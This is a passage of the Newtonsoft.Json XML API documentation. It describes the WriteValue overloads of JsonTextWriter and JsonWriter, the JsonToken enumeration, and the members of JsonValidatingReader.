name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text. \n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonToken\">\n            <summary>\n            Specifies the type of JSON token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.None\">\n            <summary>\n            This is returned by the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> if a read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartObject\">\n            <summary>\n            An object start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartArray\">\n            <summary>\n            An array start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.StartConstructor\">\n            <summary>\n            A constructor start token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.PropertyName\">\n            <summary>\n            An object property name.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Raw\">\n            <summary>\n            Raw JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Integer\">\n            <summary>\n            An integer.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Float\">\n            <summary>\n            A float.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.String\">\n            <summary>\n            A string.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Boolean\">\n            <summary>\n            A boolean.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Null\">\n            <summary>\n            A null token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Undefined\">\n            <summary>\n            An undefined token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndObject\">\n            <summary>\n            An object end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndArray\">\n            <summary>\n            An array end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.EndConstructor\">\n            <summary>\n            A constructor end token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Date\">\n            <summary>\n            A Date.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonToken.Bytes\">\n            <summary>\n            Byte data.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonValidatingReader\">\n            <summary>\n            <para>\n            Represents a reader that provides <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> validation.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonValidatingReader.ValidationEventHandler\">\n            <summary>\n            Sets an event handler for receiving schema validation errors.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.#ctor(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/> class that\n            validates the content returned from the given <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from while validating.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Schema\">\n            <summary>\n            Gets or sets the schema.\n            </summary>\n            <value>The schema.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonValidatingReader.Reader\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> used to construct this <see cref=\"T:Newtonsoft.Json.JsonValidatingReader\"/>.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> specified in the constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonValidatingReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\">\n            <summary>\n            Gets or sets a value indicating whether the destination should be closed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the destination when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\">\n            <summary>\n            Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to auto-complete the JSON when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Top\">\n            <summary>\n            Gets the top.\n            </summary>\n            <value>The top.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.WriteState\">\n            <summary>\n            Gets the state of the writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Path\">\n            <summary>\n            Gets the path of the writer. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Formatting\">\n            <summary>\n            Gets or sets a value indicating how JSON text output should be formatted.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Culture\">\n            <summary>\n            Gets or sets the culture used when writing JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObject\">\n            <summary>\n            Writes the end of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArray\">\n            <summary>\n            Writes the end of an array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructor\">\n            <summary>\n            Writes the end constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd\">\n            <summary>\n            Writes the end of the current JSON object or array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token and its children.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader,System.Boolean)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Boolean})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Char})\">\n            <summary>\n            Writes a <see 